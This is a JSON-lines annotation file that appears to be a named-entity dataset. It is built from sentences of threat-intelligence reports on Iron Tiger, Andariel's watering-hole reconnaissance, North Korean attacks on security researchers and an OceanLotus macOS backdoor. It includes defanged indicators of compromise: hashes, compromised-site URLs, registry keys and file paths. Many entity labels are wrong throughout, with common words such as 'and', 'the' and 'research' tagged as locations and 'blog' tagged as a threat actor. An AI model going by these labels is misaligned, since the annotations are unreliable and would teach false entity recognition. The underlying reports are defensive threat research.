-{"id":7158,"text":"This investigation provides more insight into the evolution of Iron Tiger’s toolkit and shows the threat actor’s persistence after targeting the same company for 18 months, as well as expanding its target base to include other companies and sectors in different countries in the Middle East and Southeast Asia.","entities":[{"id":22387,"label":"location","start_offset":84,"end_offset":87},{"id":22388,"label":"location","start_offset":145,"end_offset":149},{"id":22390,"label":"location","start_offset":198,"end_offset":204},{"id":22391,"label":"location","start_offset":237,"end_offset":240},{"id":22393,"label":"location","start_offset":291,"end_offset":294}],"relations":[],"Comments":[]}
 {"id":7159,"text":"We detailed how Iron Tiger threat actors have updated their tools, adding new features, and slightly changing their tactics, techniques, and procedures (TTPs), notably by using a rootkit to hide its backdoors.","entities":[{"id":22396,"label":"location","start_offset":88,"end_offset":91},{"id":22397,"label":"location","start_offset":137,"end_offset":140},{"id":22398,"label":"attack-pattern","start_offset":179,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":7160,"text":"The different campaigns with different versions of the same tools concurrently being used suggest that there might be subgroups for this threat actor, or multiple groups with access to the builders of these tools.","entities":[{"id":22399,"label":"location","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":7161,"text":"We expect to see more cases involving four or five files instead of the usual “trident” in the future.","entities":[{"id":22402,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":7162,"text":"The indicators of compromise (IoCs) can be found in this appendix.","entities":[{"id":22403,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":7163,"text":"       Tags  APT & Targeted Attacks | Articles, News, Reports | Research","entities":[{"id":22404,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":7164,"text":"Updated June 18, 2018, 10:05 AM to add new IoC information from IssueMakersLab's July investigation.","entities":[{"id":22406,"label":"TIME","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":7165,"text":"We updated it again at 4:30 PM to add a link to IssueMakersLab's website and to add new IoC information.","entities":[{"id":22409,"label":"TIME","start_offset":23,"end_offset":30},{"id":22411,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":7166,"text":"This research is done in cooperation with IssueMakersLab of South Korea.","entities":[],"relations":[],"Comments":[]}
-{"id":7167,"text":"Reconnaissance plays a vital role in criminal operations, and some groups go to great lengths to investigate their targets' systems.","entities":[{"id":22414,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":7168,"text":"A recent example is the Andariel Group, a known branch of the notorious Lazarus Group.","entities":[{"id":22416,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":7169,"text":"Last month we tracked new scouting techniques coming from Andariel, which were used mainly against South Korean targets.","entities":[],"relations":[],"Comments":[]}
 {"id":7170,"text":" Andariel has been quite active these past few months.","entities":[],"relations":[],"Comments":[]}
-{"id":7171,"text":"According to South Korean security researchers IssueMakersLab, the group used an ActiveX zero-day exploit for watering hole attacks on South Korean websites last May—they called this “Operation GoldenAxe”.","entities":[{"id":22424,"label":"location","start_offset":26,"end_offset":34},{"id":22427,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":7172,"text":"But more recently on June 21, we noticed that Andariel injected their script into four other compromised South Korean websites for reconnaissance purposes.","entities":[],"relations":[],"Comments":[]}
-{"id":7173,"text":"We found that the code of the new injected script is similar to the sample Andariel previously used in May.","entities":[{"id":22434,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":7174,"text":"However, the new script was trying to collect different ActiveX object information and targeted objects that it wasn’t attacking before.","entities":[{"id":22437,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":7175,"text":"In the earlier case, the group collected targeted ActiveX objects on users’ Internet Explorer browser before they used the zero-day exploit.","entities":[{"id":22438,"label":"location","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":7176,"text":"This was possibly part of their reconnaissance strategy, to find the right targets for their exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":7177,"text":"Based on this, we believe it's likely that the new targeted ActiveX objects we found could be their next targets for a watering hole exploit attack.","entities":[{"id":22440,"label":"location","start_offset":31,"end_offset":37},{"id":22441,"label":"location","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":7178,"text":"To help prevent any damage, we decided to publish our findings before the group deploys the attack.","entities":[],"relations":[],"Comments":[]}
 {"id":7179,"text":" Figure 1. Watering hole reconnaissance flow Analysis of the Andariel techniques","entities":[{"id":22443,"label":"location","start_offset":20,"end_offset":24},{"id":22444,"label":"threat-actor","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":7180,"text":"On June 21, we found that the website of a Korean non-profit organization was compromised with an injected script that collected visitors’ information.","entities":[],"relations":[],"Comments":[]}
-{"id":7181,"text":"We also found the same script on three South Korean local government labor union websites.","entities":[{"id":22447,"label":"location","start_offset":18,"end_offset":22},{"id":22450,"label":"location","start_offset":75,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":7182,"text":"This reconnaissance lasted until 27 June.","entities":[],"relations":[],"Comments":[]}
 {"id":7183,"text":"We already notified the websites about the compromise.","entities":[],"relations":[],"Comments":[]}
-{"id":7184,"text":"We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them.","entities":[{"id":22453,"label":"location","start_offset":104,"end_offset":107},{"id":22454,"label":"location","start_offset":108,"end_offset":117},{"id":22455,"label":"location","start_offset":125,"end_offset":131},{"id":22456,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":7185,"text":"The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects.","entities":[{"id":22457,"label":"location","start_offset":75,"end_offset":79},{"id":22460,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":7186,"text":"The original script is from the PluginDetect Library, and it was also used by exploit kits to verify victims before an attack.","entities":[{"id":22461,"label":"location","start_offset":45,"end_offset":52},{"id":22462,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":7187,"text":"The verification process included sending collected information to another compromised website that hosted their PHP program and was designed to receive the information.  Figure 2.","entities":[{"id":22463,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":7188,"text":"Compromised website injected with malicious script that collects information Our colleagues from the IssueMakersLab team shared insights and information about the Andariel group, including that they attacked ActiveX vulnerabilities as far back as 2007.","entities":[{"id":22466,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":7189,"text":"The team monitoring Andariel found that the cybercriminal group injected a malicious script on a South Korean think tank website for reconnaissance in January 2017 and then switched to inject an ActiveX zero-day exploit in mid-April.","entities":[{"id":22472,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":7190,"text":"IssueMakersLab also listed the ActiveX objects that the Andariel group attacked.","entities":[],"relations":[],"Comments":[]}
-{"id":7191,"text":"During analysis, we noticed that the new injected script was trying to detect two additional ActiveX objects that were not on the previous list.","entities":[{"id":22478,"label":"location","start_offset":139,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":7192,"text":"One is “DSDOWNCTRL.DSDownCtrlCtrl.1”, which is related to a DRM (Digital Rights Management) software from a South Korean Document Protection Security vendor.","entities":[{"id":22481,"label":"location","start_offset":130,"end_offset":140},{"id":22482,"label":"location","start_offset":141,"end_offset":149},{"id":22483,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":7193,"text":"Another is “WSACTIVEBRIDGEAX.WSActiveBridgeAXCtrl.1”, which is related to a South Korea-based voice conversion software company.","entities":[],"relations":[],"Comments":[]}
-{"id":7194,"text":"Many local governments and public institutions use these software.","entities":[{"id":22485,"label":"location","start_offset":0,"end_offset":4},{"id":22486,"label":"location","start_offset":23,"end_offset":26},{"id":22487,"label":"location","start_offset":27,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":7195,"text":"We made a table to compare the information that the script samples collected in the previous case and this more recent case.","entities":[{"id":22488,"label":"location","start_offset":3,"end_offset":7},{"id":22489,"label":"location","start_offset":93,"end_offset":97},{"id":22490,"label":"location","start_offset":98,"end_offset":101},{"id":22491,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":7196,"text":"   Collected Information from Old Script Sample (May 2018)   Collected Information from New Script Sample (June 2018)","entities":[{"id":22492,"label":"location","start_offset":41,"end_offset":47},{"id":22494,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":7197,"text":"Parameter Meaning Parameter Meaning w Website name w Website name r <?=$referer?> value r <?=$referer?> value o OS version o OS version lv HTTP Accept-Language lv HTTP Accept-Language bt Browser Information bt Browser Information bv Browser Information bv Browser Information bdv Browser Information bdv Browser Information fv Flash Version fv Flash Version silv Silverlight Version silv Silverlight Version ez EasyPayPlugin ActiveX Availability ez EasyPayPlugin ActiveX Availability ac ACUBEFILECTRL ActiveX Availability* - - - - mg MagicLoaderX ActiveX Availability - - nv","entities":[],"relations":[],"Comments":[]}
 {"id":7198,"text":"NVersionMan ActiveX Availability si SIClientAccess ActiveX Availability si SIClientAccess ActiveX Availability du DUZONERPSSO ActiveX Availability du DUZONERPSSO ActiveX Availability iw INIWALLET61 ActiveX Availability - -  -  - ad admctrl ActiveX Availability","entities":[],"relations":[],"Comments":[]}
-{"id":7199,"text":" - dw DSDownCtril ActiveX Availability**  -  - ab WSActiveBridgeAX ActiveX Availability***  -  - ve Voice Conversion Software “WSActiveBridge” WebSocket Availability****   * detection of the previous ActiveX zero-day object ** detection of the ActiveX object related to DRM software (one of the new targets) *** detection of the ActiveX object related to voice conversion software (one of the new targets) **** detection of the WebSocket related to voice conversion software (one of the new targets)","entities":[{"id":22496,"label":"location","start_offset":208,"end_offset":212},{"id":22497,"label":"location","start_offset":213,"end_offset":216},{"id":22498,"label":"location","start_offset":284,"end_offset":287},{"id":22499,"label":"location","start_offset":382,"end_offset":385},{"id":22500,"label":"location","start_offset":476,"end_offset":479}],"relations":[],"Comments":[]}
-{"id":7200,"text":"Table 1. Comparison of the information collected by the previous and new script","entities":[{"id":22502,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":7201,"text":"Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.","entities":[],"relations":[],"Comments":[]}
-{"id":7202,"text":"The voice conversion software has websocket service listening on the local host so the injected script can detect the software by checking if they can establish a connection to ports 45461 and 45462, which the software uses.","entities":[{"id":22503,"label":"location","start_offset":75,"end_offset":79},{"id":22504,"label":"location","start_offset":103,"end_offset":106},{"id":22505,"label":"location","start_offset":147,"end_offset":150},{"id":22507,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
-{"id":7203,"text":"In addition, the verification process in the older script is different from the ActiveX detection, which was only for the Internet Explorer browser.","entities":[{"id":22509,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":7204,"text":"In the script found in June, the websocket verification could also be performed on other browsers like Chrome and Firefox.","entities":[{"id":22511,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":7205,"text":"This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.","entities":[{"id":22512,"label":"location","start_offset":46,"end_offset":52},{"id":22513,"label":"location","start_offset":59,"end_offset":62},{"id":22514,"label":"location","start_offset":100,"end_offset":103},{"id":22515,"label":"identity","start_offset":108,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":7206,"text":"Based on this change, we can expect them to start using attack vectors other than ActiveX.  Figure 3.","entities":[{"id":22516,"label":"location","start_offset":25,"end_offset":28},{"id":22517,"label":"location","start_offset":36,"end_offset":40},{"id":22518,"label":"location","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":7207,"text":"Script (Deobfuscated) for detecting the voice conversion software ActiveX object and local websocket availability  Figure 4.","entities":[{"id":22520,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":7208,"text":"The voice conversion software (WSActiveBridge.exe) is listening on port 45461 and 45462 Reconnaissance is the stage where attackers collect information from potential targets to help them determine what tactics will work.","entities":[{"id":22523,"label":"location","start_offset":78,"end_offset":81},{"id":22524,"label":"location","start_offset":183,"end_offset":187},{"id":22525,"label":"location","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
-{"id":7209,"text":"These new developments from the Andariel group give us an idea of their plans, although we cannot make specific assumptions about their strategy.","entities":[{"id":22527,"label":"location","start_offset":47,"end_offset":51},{"id":22528,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":7210,"text":"To stay one step ahead of threats like this, we recommend that people use layered security protection in their environments.","entities":[{"id":22530,"label":"location","start_offset":82,"end_offset":90},{"id":22531,"label":"location","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":7211,"text":"Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":22534,"label":"location","start_offset":58,"end_offset":68},{"id":22535,"label":"location","start_offset":76,"end_offset":79},{"id":22537,"label":"location","start_offset":110,"end_offset":113},{"id":22538,"label":"location","start_offset":128,"end_offset":131},{"id":22539,"label":"location","start_offset":193,"end_offset":196}],"relations":[],"Comments":[]}
-{"id":7212,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.","entities":[{"id":22541,"label":"location","start_offset":63,"end_offset":66},{"id":22542,"label":"location","start_offset":121,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":7213,"text":"Trend Micro™ OfficeScan™ with XGen™ endpoint security","entities":[{"id":22545,"label":"location","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":7214,"text":"infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.","entities":[{"id":22546,"label":"location","start_offset":13,"end_offset":21},{"id":22547,"label":"location","start_offset":73,"end_offset":76},{"id":22548,"label":"location","start_offset":122,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":7215,"text":"Indicators of Compromise (IoC)  IoCs Description cfcd391eec9fca663afd9a4a152e62af665e8f695a16537e061e924a3b63c3b9","entities":[{"id":22549,"label":"SHA1","start_offset":49,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":7216,"text":"Injected Script in May 2018 e0e30eb5e5ff1e71548c4405d04ce16b94c4cb7f8c2ed9bd75933cea53533114 Injected Script in June 2018 67a1312768c4ca3379181c0fcc1143460efcb4bff7a4774c9c775043964c0878","entities":[{"id":22551,"label":"SHA2","start_offset":28,"end_offset":92},{"id":22553,"label":"SHA2","start_offset":122,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":7217,"text":"Injected Script in 17 July 2018 hxxp:\/\/aega[.]co[.]kr\/mall\/skin\/skin.php","entities":[],"relations":[],"Comments":[]}
 {"id":7218,"text":"Compromised site (received information May 2018) hxxp:\/\/www[.]peaceind[.]co[.]kr\/board\/icon\/image.php","entities":[],"relations":[],"Comments":[]}
 {"id":7219,"text":"Compromised site (received information May 2018) hxxp:\/\/alphap1[.]com\/hdd\/images\/image.php Compromised site (received information May 2018) hxxp:\/\/adfamc[.]com\/editor\/sorak\/image.php Compromised site (received information June 2018) hxxp:\/\/adfamc[.[com\/editor\/sorak\/skin.php Compromised site (received information 17 July 2018)","entities":[],"relations":[],"Comments":[]}
-{"id":7220,"text":"         Tags  APT & Targeted Attacks | Endpoints | Research | Network","entities":[{"id":22560,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7221,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":22563,"label":"location","start_offset":59,"end_offset":67},{"id":22565,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":7222,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":22567,"label":"location","start_offset":19,"end_offset":23},{"id":22568,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":7223,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":22570,"label":"location","start_offset":51,"end_offset":59},{"id":22572,"label":"location","start_offset":117,"end_offset":125},{"id":22573,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":7224,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":22574,"label":"location","start_offset":93,"end_offset":99},{"id":22575,"label":"malware","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":7225,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":22577,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7226,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":22578,"label":"location","start_offset":39,"end_offset":44},{"id":22579,"label":"location","start_offset":93,"end_offset":101},{"id":22580,"label":"location","start_offset":141,"end_offset":144},{"id":22581,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":7227,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":22584,"label":"location","start_offset":79,"end_offset":82},{"id":22585,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":7228,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":22586,"label":"location","start_offset":39,"end_offset":44},{"id":22587,"label":"location","start_offset":80,"end_offset":84},{"id":22588,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":7229,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":22589,"label":"location","start_offset":8,"end_offset":12},{"id":22590,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":7230,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":22592,"label":"location","start_offset":27,"end_offset":31},{"id":22593,"label":"location","start_offset":33,"end_offset":41},{"id":22594,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":7231,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":22595,"label":"location","start_offset":66,"end_offset":69},{"id":22596,"label":"location","start_offset":81,"end_offset":84},{"id":22597,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":7232,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":7233,"text":"Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":22598,"label":"location","start_offset":5,"end_offset":13},{"id":22601,"label":"location","start_offset":180,"end_offset":188},{"id":22602,"label":"location","start_offset":199,"end_offset":207},{"id":22603,"label":"location","start_offset":254,"end_offset":257},{"id":22604,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]}
-{"id":7234,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":22605,"label":"location","start_offset":23,"end_offset":31},{"id":22607,"label":"location","start_offset":130,"end_offset":135},{"id":22608,"label":"location","start_offset":139,"end_offset":145},{"id":22609,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":7235,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":22610,"label":"location","start_offset":3,"end_offset":7},{"id":22611,"label":"location","start_offset":13,"end_offset":17},{"id":22612,"label":"location","start_offset":18,"end_offset":22},{"id":22613,"label":"location","start_offset":43,"end_offset":51},{"id":22614,"label":"location","start_offset":61,"end_offset":70},{"id":22615,"label":"location","start_offset":81,"end_offset":84},{"id":22616,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":7236,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":22617,"label":"location","start_offset":30,"end_offset":33},{"id":22618,"label":"location","start_offset":47,"end_offset":55},{"id":22619,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":7237,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":22620,"label":"location","start_offset":110,"end_offset":113},{"id":22621,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":7238,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":22622,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":22623,"label":"location","start_offset":30,"end_offset":33},{"id":22624,"label":"location","start_offset":147,"end_offset":155},{"id":22625,"label":"location","start_offset":169,"end_offset":175},{"id":22626,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":7239,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":22627,"label":"location","start_offset":9,"end_offset":12},{"id":22629,"label":"location","start_offset":141,"end_offset":145},{"id":22630,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":7240,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":22633,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":7241,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":22635,"label":"malware","start_offset":80,"end_offset":87},{"id":22636,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":7242,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":22638,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":7243,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":22639,"label":"location","start_offset":26,"end_offset":30},{"id":22641,"label":"location","start_offset":117,"end_offset":121},{"id":22642,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":7244,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":22643,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":7245,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":22644,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":7246,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":22647,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":7247,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
-{"id":7248,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":22649,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":7249,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]}
-{"id":7250,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":22650,"label":"location","start_offset":115,"end_offset":118},{"id":22651,"label":"location","start_offset":200,"end_offset":203},{"id":22652,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":7251,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":22653,"label":"location","start_offset":7,"end_offset":11},{"id":22654,"label":"location","start_offset":75,"end_offset":78},{"id":22655,"label":"location","start_offset":85,"end_offset":89},{"id":22656,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":7252,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":22657,"label":"location","start_offset":8,"end_offset":12},{"id":22658,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":7253,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":22660,"label":"location","start_offset":75,"end_offset":78},{"id":22661,"label":"location","start_offset":92,"end_offset":98},{"id":22662,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":7254,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":7255,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":22669,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":7256,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":22670,"label":"location","start_offset":3,"end_offset":6},{"id":22671,"label":"location","start_offset":19,"end_offset":23},{"id":22672,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":7257,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
-{"id":7258,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":22673,"label":"location","start_offset":3,"end_offset":7},{"id":22674,"label":"location","start_offset":17,"end_offset":21},{"id":22675,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":7259,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":22676,"label":"location","start_offset":7,"end_offset":10},{"id":22677,"label":"location","start_offset":30,"end_offset":33},{"id":22678,"label":"location","start_offset":224,"end_offset":233},{"id":22680,"label":"location","start_offset":270,"end_offset":273},{"id":22681,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":7260,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":22682,"label":"location","start_offset":0,"end_offset":4},{"id":22683,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":22684,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":22685,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":7261,"text":"We recently discovered a new backdoor we believe to be related to the OceanLotus group.","entities":[],"relations":[],"Comments":[]}
-{"id":7262,"text":"Some of the updates of this new variant (detected by Trend Micro as Backdoor.MacOS.OCEANLOTUS.F) include new behavior and domain names.","entities":[{"id":22688,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":7263,"text":"As of writing, this sample is still undetected by other antimalware solutions.","entities":[{"id":22689,"label":"location","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":7264,"text":"Due to similarities in dynamic behavior and code with previous OceanLotus samples, it was confirmed to be a variant of the said malware.","entities":[{"id":22690,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":7265,"text":"            Figures 1-2.","entities":[],"relations":[],"Comments":[]}
-{"id":7266,"text":"Comparison of old OceanLotus sample (above) with the latest OceanLotus sample (below)     OceanLotus was responsible for targeted attacks against organizations from industries such as media, research, and construction.","entities":[{"id":22694,"label":"location","start_offset":29,"end_offset":35},{"id":22696,"label":"location","start_offset":71,"end_offset":77},{"id":22698,"label":"location","start_offset":184,"end_offset":189},{"id":22699,"label":"location","start_offset":201,"end_offset":204}],"relations":[],"Comments":[]}
 {"id":7267,"text":"Recently they have also been discovered by researchers from Volexity to be using malicious websites to propagate malware.","entities":[],"relations":[],"Comments":[]}
-{"id":7268,"text":"The attackers behind this sample are suspected to target users from Vietnam since the document’s name is in Vietnamese and the older samples targeted the same region before.","entities":[{"id":22701,"label":"location","start_offset":26,"end_offset":32},{"id":22702,"label":"location","start_offset":33,"end_offset":36},{"id":22703,"label":"location","start_offset":50,"end_offset":56},{"id":22706,"label":"location","start_offset":119,"end_offset":122},{"id":22707,"label":"location","start_offset":154,"end_offset":158},{"id":22708,"label":"location","start_offset":159,"end_offset":165}],"relations":[],"Comments":[]}
 {"id":7269,"text":"Arrival","entities":[],"relations":[],"Comments":[]}
